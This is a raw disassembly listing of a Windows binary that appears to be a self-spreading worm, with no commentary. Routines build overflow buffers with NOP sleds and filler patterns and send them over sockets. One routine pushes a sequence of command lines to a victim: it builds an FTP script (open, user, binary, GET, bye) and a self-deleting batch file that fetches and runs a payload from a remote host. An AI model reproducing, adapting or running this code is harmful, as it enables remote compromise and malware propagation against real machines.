edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424800 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401505j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424870 proc near ; CODE XREF: sub_4017D5j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_424884 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_424884: ; CODE XREF: sub_424870+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_445C1C lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4248E0 proc near ; CODE XREF: sub_401EC9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_401505 test al, al jnz short loc_4248FC pop esi retn 8 ; --------------------------------------------------------------------------- loc_4248FC: ; CODE XREF: sub_4248E0+16j mov ecx, esi call sub_4017D5 pop esi retn 8 sub_4248E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424920 proc near ; CODE XREF: sub_401BFEj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424CF5 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424CF5 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_4458B8 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_4458C0 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B7C lea ecx, [esp+864h+var_830] call sub_4017D5 mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B7C push offset loc_445C40 lea ecx, [esp+868h+var_810] call sub_402054 lea ecx, [esp+864h+var_810] call sub_401B7C mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401843 lea ecx, [esp+864h+var_808] call sub_401B7C mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EC9 lea ecx, [esp+864h+var_808] call sub_4016C2 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402054 push 4 push offset dword_4458C4 lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B7C mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_401505 mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_401505 lea ecx, [esp+864h+var_820] call sub_4017D5 lea ecx, [esp+864h+var_848] call sub_4016C2 lea ecx, [esp+864h+var_810] call sub_4016C2 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_401505 mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_401505 mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_401505 lea ecx, [esp+864h+var_828] call sub_4017D5 lea ecx, [esp+864h+var_840] call sub_4016C2 lea ecx, [esp+864h+var_830] call sub_4016C2 lea ecx, [esp+864h+var_820] call sub_4016C2 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B7C push 2 push offset dword_445C34 lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_401505 lea ecx, [esp+864h+var_838] call sub_4017D5 lea ecx, [esp+864h+var_828] call sub_4016C2 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016C2 push offset dword_445C30 lea ecx, [esp+868h+var_858] call sub_402054 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_444E78 lea ecx, [esp+868h+var_850] call sub_402054 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016C2 push offset dword_445C24 lea ecx, [esp+868h+var_858] call sub_402054 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_445C20 lea ecx, [esp+868h+var_818] call sub_402054 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4016C2 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424CF5: ; CODE XREF: sub_424920+1Ej ; sub_424920+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424920 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_401AC8j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call near ptr 71AB2DC0h nop cmp eax, 1 jz short loc_424E89 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424E89: ; CODE XREF: sub_424E20+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_438256 sub_424E20 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424EA0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424EA0: ; CODE XREF: ___:00424E96j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi call near ptr 71AB615Ah nop pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F00 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi nop call near ptr 71AB2BC0h mov edi, [esp+0Ch+arg_0] mov ebx, dword_511CA0 mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx cmp eax, 4 jz short loc_424F33 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424F33: ; CODE XREF: sub_424F00+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424F00 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F70 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424FA3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424F70+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_445954 shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_4458CC rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_445984 mov [ebx+31h], eax mov ecx, dword_445988 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_510110 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_510114 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_425048 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425048: ; CODE XREF: sub_424F70+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AC8 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_425083 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425083: ; CODE XREF: sub_424F70+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AC8 push ebx call near ptr 77C2C21Bh nop add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424F70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425100 proc near ; CODE XREF: sub_401820j var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = word ptr -418h var_416 = dword ptr -416h var_412 = dword ptr -412h var_40E = dword ptr -40Eh var_40A = word ptr -40Ah var_408 = dword ptr -408h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 420h push ebp push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [esp+42Ch+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_445AF8 lea edi, [esp+42Ch+var_400] rep movsd movsw mov ecx, offset byte_449521 movsb call sub_4017EE push eax mov ecx, offset byte_449521 call sub_4017EE mov ecx, [esp+430h+arg_0] push eax mov eax, dword_44965F push eax push ecx call sub_401E10 add esp, 4 lea edx, [esp+438h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx call near ptr 77C3FA76h nop add eax, 90h lea ecx, [esp+448h+var_408] push eax lea eax, [esp+44Ch+var_400] push eax push 164h push offset sub_445990 push ecx call sub_401BFE mov edx, [eax] xor edi, edi mov [esp+45Ch+var_420], edx add esp, 30h mov eax, [eax+4] cmp eax, edi mov [esp+42Ch+var_41C], eax jnz short loc_4251B2 xor eax, eax pop edi pop esi pop ebp add esp, 420h retn ; --------------------------------------------------------------------------- loc_4251B2: ; CODE XREF: sub_425100+A4j mov ebp, dword_511C38 mov [esp+42Ch+var_408], edi loc_4251BC: ; CODE XREF: sub_425100+161j test edi, edi jnz loc_425267 push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_42524A mov ecx, [esp+42Ch+arg_9E] xor eax, eax mov [esp+42Ch+var_416], eax push ecx mov [esp+430h+var_412], eax mov [esp+430h+var_418], 2 mov [esp+430h+var_40E], eax mov [esp+430h+var_40A], ax call ebp lea edx, [esp+42Ch+arg_4] mov word ptr [esp+42Ch+var_416], ax push edx nop call near ptr 71AB2BF4h mov [esp+42Ch+var_416+2], eax lea eax, [esp+42Ch+var_418] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_42523F mov ecx, [esp+42Ch+var_41C] mov edx, [esp+42Ch+var_420] push ecx push edx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_42523F: ; CODE XREF: sub_425100+123j push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_425255 loc_42524A: ; CODE XREF: sub_425100+D5j push 3E8h call near ptr 2831CE8h nop loc_425255: ; CODE XREF: sub_425100+148j mov eax, [esp+42Ch+var_408] inc eax cmp eax, 2 mov [esp+42Ch+var_408], eax jl loc_4251BC loc_425267: ; CODE XREF: sub_425100+BEj lea ecx, [esp+42Ch+var_420] call sub_4016C2 test edi, edi jz short loc_425297 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E8h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425297: ; CODE XREF: sub_425100+172j pop edi pop esi mov eax, 1 pop ebp add esp, 420h retn sub_425100 endp ; --------------------------------------------------------------------------- aRrrrrrrrrr db '' db '',1Bh,0 align 4 dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h dd 2EE06800h, 77E80000h, 83FFFDCEh, 18A308C4h, 0C3005101h dd 2 dup(90909090h), 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_425370 proc near ; CODE XREF: sub_4013D4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0C8h nop call near ptr 2831CE8h mov edx, [esp+4+arg_4] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+4+arg_0] push 0 not ecx dec ecx push ecx push edx push eax call near ptr 71AB428Ah nop cmp eax, 0FFFFFFFFh pop edi setnz al retn sub_425370 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253C0 proc near ; CODE XREF: sub_4013BBj var_434 = byte ptr -434h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_4253C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 428h xor eax, eax push ebx mov [esp+438h+var_41C], eax push esi mov [esp+43Ch+var_418], eax lea ecx, [esp+43Ch+arg_4] push edi mov [esp+440h+var_414], eax push ecx mov [esp+444h+var_410], eax mov word ptr [esp+444h+var_41C], 2 nop call near ptr 71AB2BF4h mov dx, word_510118 mov [esp+440h+var_418], eax push edx call near ptr 71AB2B66h nop push 0 push 1 push 2 mov word ptr [esp+44Ch+var_41C+2], ax nop call near ptr 71AB3B91h mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx jz loc_4256BE lea eax, [esp+440h+var_41C] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, ebx jz loc_4256BE mov edi, dword_511CA4 push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi lea ecx, [esp+440h+var_434] call sub_40142E mov edx, dword_44965F mov eax, [esp+440h+arg_0] push edx push eax mov [esp+448h+var_4], 0 call sub_401E10 add esp, 4 lea ecx, [esp+444h+var_434] push eax push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n" push ecx call sub_40102D add esp, 10h lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoBinary_pif ; "echo binary>>.pif \r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449521 call sub_4017EE push eax lea ecx, [esp+444h+var_434] push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n" push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoBye_pif ; "echo bye>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449521 call sub_4017EE push eax lea edx, [esp+444h+var_434] push offset aEchoSC_bat ; "echo %s >>c.bat\r\n" push edx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea eax, [esp+440h+var_434] push offset dword_4467BC push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jnz short loc_4256C2 loc_4256AE: ; CODE XREF: sub_4253C0+F3j ; sub_4253C0+120j ... lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 loc_4256BE: ; CODE XREF: sub_4253C0+6Fj ; sub_4253C0+85j xor al, al jmp short loc_4256EA ; --------------------------------------------------------------------------- loc_4256C2: ; CODE XREF: sub_4253C0+2ECj push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi push esi call near ptr 71AB9639h nop lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 mov al, 1 loc_4256EA: ; CODE XREF: sub_4253C0+300j mov ecx, [esp+440h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 434h retn sub_4253C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257F0 proc near ; CODE XREF: sub_40180Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_28 = byte ptr 2Ch arg_2C = byte ptr 30h arg_2F = byte ptr 33h arg_59 = byte ptr 5Dh arg_5B = byte ptr 5Fh arg_5C = byte ptr 60h arg_90 = byte ptr 94h arg_A4 = byte ptr 0A8h arg_A5 = byte ptr 0A9h arg_F0 = byte ptr 0F4h arg_190 = byte ptr 194h arg_89C = dword ptr 8A0h arg_8AC = byte ptr 8B0h arg_8D4 = dword ptr 8D8h arg_8E4 = byte ptr 8E8h arg_C08 = dword ptr 0C0Ch arg_C0C = dword ptr 0C10h arg_C18 = byte ptr 0C1Ch arg_E30 = byte ptr 0E34h arg_E50 = byte ptr 0E54h arg_E70 = byte ptr 0E74h arg_E90 = byte ptr 0E94h arg_1480 = byte ptr 1484h arg_14E0 = byte ptr 14E4h arg_14FC = byte ptr 1500h arg_1CCC = byte ptr 1CD0h arg_2177 = byte ptr 217Bh arg_2464 = byte ptr 2468h arg_24C5 = byte ptr 24C9h arg_34F8 = byte ptr 34FCh arg_3FA0 = byte ptr 3FA4h arg_3FC0 = byte ptr 3FC4h arg_401C = byte ptr 4020h arg_401D = byte ptr 4021h arg_4020 = byte ptr 4024h arg_4030 = byte ptr 4034h arg_4AF4 = byte ptr 4AF8h arg_6098 = byte ptr 609Ch arg_60F8 = byte ptr 60FCh arg_6100 = byte ptr 6104h arg_8140 = byte ptr 8144h arg_81DC = byte ptr 81E0h arg_8234 = dword ptr 8238h arg_8290 = dword ptr 8294h arg_8294 = dword ptr 8298h mov eax, 81D8h call sub_437B30 mov eax, dword_44691C mov ecx, dword_446920 push ebx push ebp push esi lea edx, [esp+0Ch+arg_81DC] push edi mov [esp+10h], eax push edx lea eax, [esp+14h+arg_4] push offset dword_446910 push eax mov [esp+1Ch+arg_0], ecx nop call near ptr word_5F67AE add esp, 0Ch xor eax, eax lea ecx, [esp+10h+arg_A5] loc_425835: ; CODE XREF: sub_4257F0+56j mov dl, [esp+eax+10h+arg_4] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 28h jl short loc_425835 mov ecx, 18h mov esi, offset dword_4461E0 lea edi, [esp+10h+arg_2C] xor eax, eax rep movsd lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+10h+arg_A4] shl ecx, 1 mov eax, ecx lea edi, [esp+10h+arg_5C] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 mov edx, dword_446237 rep movsb lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx mov eax, dword_44623B dec ecx lea edi, [esp+10h+arg_4] lea ecx, [esp+ecx*2+10h+arg_5B] mov [ecx], edx mov dl, byte_44623F mov [ecx+4], eax xor eax, eax mov [ecx+8], dl or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+10h+arg_4] mov ebx, ecx or ecx, 0FFFFFFFFh add bl, 1Ah shl bl, 1 repne scasb mov ax, word_510118 mov [esp+10h+arg_2F], bl not ecx dec ecx push eax shl cl, 1 add cl, 9 mov [esp+14h+arg_59], cl nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_8294] xor eax, 9999h test edx, edx mov word_445EE0, ax jz loc_4259E3 mov ecx, 36Bh mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov edx, dword_4465D4[edx*8] rep stosd mov edi, offset loc_445E30 or ecx, 0FFFFFFFFh xor eax, eax mov esi, offset loc_445E30 repne scasb not ecx dec ecx lea edi, [esp+14h+arg_8E4] mov eax, ecx mov [esp+14h+arg_8D4], edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, dword_446908 mov edi, offset loc_445E30 mov [esp+14h+arg_C08], ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov [esp+14h+arg_C0C], edx mov edx, ecx mov esi, offset loc_445E30 lea edi, [esp+14h+arg_C18] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+14h+arg_24C5] loc_42598F: ; CODE XREF: sub_4257F0+1B5j mov dl, [esp+eax+14h+arg_F0] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 0DACh jl short loc_42598F mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_60F8] mov [esp+14h+arg_401C], 0 rep stosd stosw mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_4020] mov [esp+14h+arg_401D], 0 rep stosd stosw jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_4259E3: ; CODE XREF: sub_4257F0+10Bj mov ecx, 1F4h mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov esi, offset loc_445E30 rep stosd mov edi, offset loc_445E30 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea edi, [esp+14h+arg_190] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+14h+var_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+14h+var_4] mov edx, ecx lea edi, [esp+14h+arg_8AC] shr ecx, 2 rep movsd mov eax, dword_4465D4 mov ecx, edx and ecx, 3 rep movsb mov [esp+14h+arg_89C], eax loc_425A52: ; CODE XREF: sub_4257F0+1F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [esp+14h+arg_14E0] mov ebp, [esp+14h+arg_8290] rep stosd movsx ecx, bl mov ebx, dword_511CA0 add ecx, 4 push 0 lea edx, [esp+18h+arg_28] push ecx push edx push ebp stosb call ebx cmp eax, 0FFFFFFFFh jnz short loc_425A96 xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425A96: ; CODE XREF: sub_4257F0+297j mov esi, dword_511CA4 push 0 lea eax, [esp+28h+arg_E90] push 640h push eax push ebp call esi push 0 push 68h push offset dword_446244 push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_425ACC xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425ACC: ; CODE XREF: sub_4257F0+2CDj push 0 lea ecx, [esp+48h+arg_E70] push 640h push ecx push ebp call esi push 0 push 0A0h push offset dword_4462B0 push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_425AFF xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_4257F0+300j push 0 lea edx, [esp+68h+arg_E50] push 640h push edx push ebp call esi mov eax, [esp+74h+arg_8234] test eax, eax jz loc_425BE5 mov ecx, 1Ah mov esi, offset dword_446468 lea edi, [esp+74h+arg_6098] push 0 rep movsd mov ecx, 6D6h lea esi, [esp+78h+arg_2464] lea edi, [esp+78h+arg_6100] lea eax, [esp+78h+arg_6098] 